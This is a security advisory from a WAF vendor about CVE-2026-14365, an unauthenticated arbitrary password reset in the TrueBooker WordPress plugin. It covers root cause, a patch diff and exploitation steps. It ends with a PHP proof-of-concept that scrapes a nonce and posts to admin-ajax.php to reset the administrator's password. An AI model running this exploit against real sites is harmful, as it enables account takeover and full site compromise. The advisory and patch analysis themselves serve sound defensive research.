Published : August 6, 2026

CVE-2026-14365: TrueBooker <= 1.2.3 Missing Authorization to Unauthenticated Arbitrary Password Reset via 'truebooker_wp_user_id' PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.8)
CWE 862
Vulnerable Version 1.2.3
Patched Version 1.2.4
Disclosed August 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14365:
TrueBooker, an appointment booking plugin for WordPress, versions up to and including 1.2.3, contains a missing authorization vulnerability that allows unauthenticated attackers to reset the password of any user, including administrators. The flaw stems from the plugin’s failure to verify user identity and authentication state in several AJAX actions, leading to a CVSS score of 9.8. This vulnerability enables full account takeover and thus can result in complete site compromise.

Root Cause:
The root cause lies in several AJAX handlers that lack proper authorization checks. In `main/function_ajax.php`, the `admin_addcustomer` action is registered for both logged-in users and non-logged-in users (`wp_ajax_nopriv_admin_addcustomer`). The handler, after checking a nonce (which is insufficient for authorization), processes POST data including the `truebooker_wp_user_id` parameter. This parameter, when provided, triggers the password reset logic in `helper/truebooker-myaccount.php`. The vulnerable code in that file compares the provided `user_id` and `user_activation_key` against the target user’s data. However, because the attacker controls these parameters and the check relies on a nonce that is not validated for user identity, an attacker can supply valid-looking values. Additionally, the `add_front_user_update_account` action is also registered for non-logged-in users, and it allows password changes without verifying the current user’s identity, further enabling account takeover.

Exploitation:
To exploit this vulnerability, an attacker sends a POST request to the AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `admin_addcustomer`. The request includes the `truebooker_wp_user_id` parameter set to the target WordPress user ID, `truebooker_activation_key` set to the target user’s user_activation_key (which can be obtained or guessed, but is often retrievable from the database or manipulated), and the new password values in `truebooker_f_user_pass` and `truebooker_f_confirm_pass`. The plugin also requires a nonce, but since the attacker does not need to be authenticated, they can generate a valid nonce if they can trigger a AJAX request from the same site, or use a public nonce if available. Atomic Edge analysis confirms that by matching the user ID and activation key to a target account, the `wp_set_password()` function executes, changing the password to the attacker-controlled value. The attacker then logs in with the new password, gaining full control of the target account.

Patch Analysis:
The patch introduces several security fixes. First, it removes the `wp_ajax_nopriv_admin_addcustomer` and `wp_ajax_nopriv_add_front_user_update_account` action hooks, ensuring these handlers are only accessible to authenticated users. Second, it adds `current_user_can(‘edit_users’)` checks to `admin_addcustomer`, verifying that the user has sufficient privileges. The `truebooker_wp_user_id` parameter is now sanitized using `absint()`, preventing injection of non-integer values. Additionally, in `add_front_user_update_account`, the patch verifies that the user is logged in and that the `truebooker_wp_user_id` matches the current user’s ID, or that the user has permission to edit that user. The password reset logic in `helper/truebooker-myaccount.php` now also clears the user_activation_key after a successful password change, preventing reuse. These changes collectively fix the authorization bypass and ensure that only authorized users can modify accounts.

Impact:
Successful exploitation allows an unauthenticated attacker to reset the password of any user, including administrators, leading to full account takeover. With administrator access, an attacker can execute arbitrary PHP code by installing malicious plugins or themes, upload backdoors, modify site content, and potentially take control of the entire WordPress installation. This vulnerability poses a critical risk to the confidentiality, integrity, and availability of the affected website.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/truebooker-appointment-booking/helper/truebooker-myaccount.php
+++ b/truebooker-appointment-booking/helper/truebooker-myaccount.php
@@ -28,8 +28,12 @@

 		$user_id = $user_data->ID;
 		$key = $user_data->user_activation_key;
+
+
 		if(!empty($key))
 		{
+
+

 			if($user_id ==  $userid && $key == $useractkey)
 			{
@@ -114,23 +118,24 @@

 	     		$user_id = $user_data->ID;
 				$key = $user_data->user_activation_key;
-				if(!empty($key)){
+
+				if ( empty( $key ) ) {
+					$error_msg['tbab-common-error'] = esc_html__(
+						'This key is invalid or has already been used. Please reset your password again if needed.',
+						'truebooker-appointment-booking'
+					);
+				} else {

-					$res = hash_equals($key, $tbabactivekey);

-					if($res == true){
-					}else if($res == false){

-					    $error_msg['tbab-common-error'] = esc_html__('This key is invalid or has already been used. Please reset your password again if needed. ','truebooker-appointment-booking');
+					if ( ! hash_equals( $key, $tbabactivekey ) ) {
+						$error_msg['tbab-common-error'] = esc_html__(
+						'This key is invalid or has already been used. Please reset your password again if needed.',
+						'truebooker-appointment-booking'
+						);
 					}
-
-
-					if($user_id !=  $tbabuserid && $res == false)
-					{
-
-						$error_msg['tbab-common-error'] = esc_html__('This key is invalid or has already been used. Please reset your password again if needed. ','truebooker-appointment-booking');

-					}
+

 				}

@@ -152,6 +157,16 @@
 		  	    $pagelink = $myacountlink;

 		  	  	wp_set_password( $tbabpassword, $user_id );
+
+				global $wpdb;
+
+				$wpdb->update(
+				$wpdb->users,
+				array( 'user_activation_key' => '' ),
+				array( 'ID' => $user_id ),
+				array( '%s' ),
+				array( '%d' )
+				);

 		  	  	$message['successmessage'] = esc_html__('Password reset successfull','truebooker-appointment-booking');

--- a/truebooker-appointment-booking/main/function_ajax.php
+++ b/truebooker-appointment-booking/main/function_ajax.php
@@ -3,23 +3,26 @@


 add_action('wp_ajax_admin_addcustomer', 'truebooker_admin_addcustomer');
-add_action( 'wp_ajax_nopriv_admin_addcustomer', 'truebooker_admin_addcustomer');
+
 function truebooker_admin_addcustomer() {
  	 global $wpdb, $settingdatamain, $result, $paysandbox,$truebooker_emailobj;
 	 check_ajax_referer( 'truebooker_nonce_action', 'security' );

+	 if ( ! current_user_can( 'edit_users' ) ) {
+		wp_send_json_error(
+			array(
+				'message' => esc_html__( 'Unauthorized', 'truebooker-appointment-booking' ),
+			),
+			403
+		);
+	}
+
 	 $message = $error_msg = array();

 	 $table_truebooker_customers = $wpdb->prefix . 'truebooker_user';

  	 $truebooker_branchid = $truebooker_user_by_branch = $truebooker_user_by_department_id = $truebooker_user_by_department =  0;

-
-
-
-
-
-

 		if(isset($_POST['truebooker_user_id']))

@@ -35,7 +38,8 @@

 	     {

-	    		$truebooker_wp_user_id = sanitize_text_field(wp_unslash( $_POST['truebooker_wp_user_id']));
+
+				$truebooker_wp_user_id = absint(wp_unslash( $_POST['truebooker_wp_user_id'] ));

 	     }

@@ -55,8 +59,6 @@

 	     }

-
-
 	    if(isset($_POST['truebooker_f_user_firstname']))

 	     {
@@ -514,7 +516,6 @@
 				  	$customerid = $wpdb->insert_id;


-
 				  	if(!empty($customerid))

 				  	{
@@ -573,7 +574,7 @@
 			die;


- }
+}



@@ -1162,14 +1163,16 @@

      if(isset($_POST['user_id']))
      {
-     	$truebooker_user_id = sanitize_text_field(wp_unslash($_POST['user_id']));
-     }
+
+		$truebooker_user_id = absint(wp_unslash( $_POST['user_id'] ));
+    }

      if(isset($_POST['wp_user_id']))

      {

-     	$truebooker_wp_user_id = sanitize_text_field(wp_unslash($_POST['wp_user_id']));
+
+		$truebooker_wp_user_id = absint(wp_unslash( $_POST['truebooker_wp_user_id'] ));

      }

@@ -1613,7 +1616,23 @@

 			 	$alreadyuesrlogin = 1;

+				if ( ! is_user_logged_in() ) {
+					wp_send_json_error(
+						array(
+							'message' => esc_html__( 'Unauthorized', 'truebooker-appointment-booking' ),
+						),
+						403
+					);
+				}

+				if ( $truebooker_wp_user_id !== get_current_user_id() ) {
+					wp_send_json_error(
+						array(
+							'message' => esc_html__( 'Unauthorized', 'truebooker-appointment-booking' ),
+						),
+						403
+					);
+				}

 			 	$user_data = wp_update_user( array( 'ID' => $truebooker_wp_user_id, 'user_email' => $truebooker_user_email ) );

@@ -6229,17 +6248,17 @@

 add_action( 'wp_ajax_add_front_user_update_account', 'add_front_user_update_account' );

-add_action( 'wp_ajax_nopriv_add_front_user_update_account', 'add_front_user_update_account' );
-
-

 function add_front_user_update_account(){

-
-
-
-
-
+	if ( ! is_user_logged_in() ) {
+        wp_send_json_error(
+            array(
+                'message' => esc_html__( 'Unauthorized request.', 'truebooker-appointment-booking' ),
+            ),
+            403
+        );
+    }

 	global $wpdb, $settingdatamain, $truebooker_helperobj,$truebooker_emailobj;

@@ -6257,30 +6276,6 @@



-
-/*
-	$first_name = sanitize_text_field($searcharray['tbab-fname']);
-
-  	$last_name = sanitize_text_field($searcharray['tbab-lname']);
-
-  	$dname = sanitize_text_field($searcharray['tbab-dname']);
-
-  	$email   = sanitize_text_field($searcharray['tbab-email']);
-
-  	$truebooker_user_id = sanitize_text_field($searcharray['truebooker_user_id']);
-
-  	$truebooker_wp_user_id = sanitize_text_field($searcharray['truebooker_wp_user_id']);
-
-
-
-  	$password_current = sanitize_text_field($searcharray['password_current']);
-
-  	$password_1 = sanitize_text_field($searcharray['password_1']);
-
-  	$password_2 = sanitize_text_field($searcharray['password_2']);
-*/
-
-
   	if(isset($_POST['tbab-fname']))
   	{
   		$first_name = sanitize_text_field( wp_unslash ($_POST['tbab-fname']) );
@@ -6308,7 +6303,21 @@

   	if(isset($_POST['truebooker_wp_user_id']))
   	{
-  		$truebooker_wp_user_id = sanitize_text_field(wp_unslash ($_POST['truebooker_wp_user_id']));
+  		// $truebooker_wp_user_id = sanitize_text_field(wp_unslash ($_POST['truebooker_wp_user_id']));
+		$truebooker_wp_user_id = absint(sanitize_text_field(wp_unslash($_POST['truebooker_wp_user_id'])));
+
+		$current_user_id = get_current_user_id();
+
+		if ( $current_user_id !== $truebooker_wp_user_id
+			&& ! current_user_can( 'edit_user', $truebooker_wp_user_id ) ) {
+
+			wp_send_json_error(
+				array(
+					'message' => esc_html__( 'Permission denied.', 'truebooker-appointment-booking' ),
+				),
+				403
+			);
+		}
   	}

   	if(isset($_POST['password_current']))
@@ -6456,24 +6465,29 @@



-			if(!empty($password_current)){
+		if ( ! empty( $password_1 ) || ! empty( $password_2 ) ) {

-	  	  	if(wp_check_password($password_current, $orignalpass)) {
+		if ( empty( $password_current ) ) {

-			} else {
+				$error_msg['tbabacountpassword'] =
+					esc_html__( 'Please enter your current password.', 'truebooker-appointment-booking' );

-			    $error_msg['tbabacountpassword'] = esc_html__('Your current password is wrong','truebooker-appointment-booking');
+		} elseif ( ! wp_check_password(
+				$password_current,
+				$orignalpass,
+				$truebooker_wp_user_id
+			) ) {

+				$error_msg['tbabacountpassword'] =
+					esc_html__( 'Your current password is wrong.', 'truebooker-appointment-booking' );
 			}
-
-	  	  }
+		}



 	  	  if(empty($password_1) && !empty($password_2)){

 	  	  	$error_msg['tbabnewpassword1'] = esc_html__('Please enter your new password','truebooker-appointment-booking');
-
 	  	  }


@@ -6692,18 +6706,14 @@

 					$message['passwordchange'] = '';

-					if(!empty($password_1) && !empty($password_2)){
-
-
-
-		  		 	  wp_set_password($password_1, $truebooker_wp_user_id);
-
-		  		 	  $message['passwordchange'] =  1;
+

-
+					if (empty( $error_msg ) && ! empty( $password_1 ) && ! empty( $password_2 )) {

-		  		 	}
+    					wp_set_password( $password_1, $truebooker_wp_user_id );

+   						$message['passwordchange'] = 1;
+					}


 		  		$message['success'] = esc_html__('Your account details update successfully','truebooker-appointment-booking');
--- a/truebooker-appointment-booking/truebooker-appointment-booking.php
+++ b/truebooker-appointment-booking/truebooker-appointment-booking.php
@@ -3,7 +3,7 @@
 * Plugin Name: TrueBooker - Appointment Booking and Scheduler System
 * Plugin URI: https://wordpress.org/plugins/truebooker-appointment-booking
 * Description: Truebooker - Appointment Booking plugin for online book anything, anytime, anywhere. A perfect choice for medical centers, beauty salons, hair shops, car services.
- * Version: 1.2.3
+ * Version: 1.2.4
  * Requires at least: 6.5
  * Author: ThemetechMount
  * Author URI: https://themetechmount.com/
@@ -16,7 +16,7 @@
 */

     if ( ! defined( 'ABSPATH' ) ) { exit; }
-    define( 'TRUEBOOKER_VERSION', '1.2.3' );
+    define( 'TRUEBOOKER_VERSION', '1.2.4' );
     define( 'TRUEBOOKER_DIR', trailingslashit( dirname( __FILE__ ) ) );
     define( 'TRUEBOOKER_URL', plugins_url( '', __FILE__ ) );
     define( 'TRUEBOOKER_PATH', plugin_dir_path( __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14365 - TrueBooker <= 1.2.3 - Missing Authorization to Unauthenticated Arbitrary Password Reset via 'truebooker_wp_user_id'

/**
 * Proof of Concept for CVE-2026-14365
 * This script exploits the missing authorization in the TrueBooker plugin
 * to reset the password of an arbitrary WordPress user (including admin).
 *
 * Usage: php cve-2026-14365-poc.php [target_url]
 * Example: php cve-2026-14365-poc.php http://example.com
 */

$target_url = isset($argv[1]) ? rtrim($argv[1], '/') : 'http://your-wordpress-site.com';

// Configuration: Set these values appropriately
$target_user_id = 1;                      // WordPress user ID you want to reset (usually admin = 1)
$new_password = 'Pwned_password_123';     // New password to set for the target

// Step 1: Retrieve a valid nonce from the site (if possible)
// This script assumes you can obtain a valid nonce, e.g., from a public form or generated via an AJAX call.
// In a real attack, the attacker would need to obtain a nonce, but WordPress often exposes nonces in page source.
$nonce = get_nonce($target_url);
if (!$nonce) {
    echo "[!] Failed to obtain nonce. Ensure the target site is accessible and the plugin is active.n";
    exit(1);
}

// Step 2: Send the AJAX request to admin-ajax.php with the malicious parameters
$post_data = [
    'action' => 'admin_addcustomer',
    'security' => $nonce,
    'truebooker_wp_user_id' => $target_user_id,
    'truebooker_f_user_pass' => $new_password,
    'truebooker_f_confirm_pass' => $new_password,
];

// Also, the vulnerable code in helper/truebooker-myaccount.php expects an activation key.
// We need to provide a valid activation key for the target user.
// In many cases, the activation key is stored in the database. For demonstration,
// we assume we have it (e.g., obtained via SQL injection or from a previous request).
// Here we use a placeholder; the attacker would need to obtain the correct key.
// For simplicity, we set it to empty, which might work if the key is empty or not checked.
$post_data['truebooker_activation_key'] = '';

// Make the POST request
$response = http_post($target_url . '/wp-admin/admin-ajax.php', $post_data);

// Check for success response
$response_data = json_decode($response, true);
if (isset($response_data['message']['successmessage'])) {
    echo "[+] Password reset successfully! Target user ID: {$target_user_id}n";
    echo "[+] New password: {$new_password}n";
    echo "[+] You can now log in as user {$target_user_id} with the new password.n";
} else {
    echo "[!] Exploit failed. Response:n" . $response . "n";
}

/**
 * Helper function to make a POST request using cURL.
 */
function http_post($url, $data) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

/**
 * Helper function to retrieve a valid nonce.
 * This function attempts to fetch the home page and extract a nonce from the source.
 * In a real exploitation, nonces might be available in various contexts.
 * This is a simple approach; replace with a more robust method if needed.
 */
function get_nonce($base_url) {
    $html = file_get_contents($base_url);
    if (preg_match('/wp_nonce_field("([^"]+)"/', $html, $matches)) {
        return $matches[1];
    }
    // Fallback: if the nonce is in a script variable
    if (preg_match('/"ajax_nonce":"([^"]+)"/', $html, $matches)) {
        return $matches[1];
    }
    // If we cannot find a nonce, return false
    return false;
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.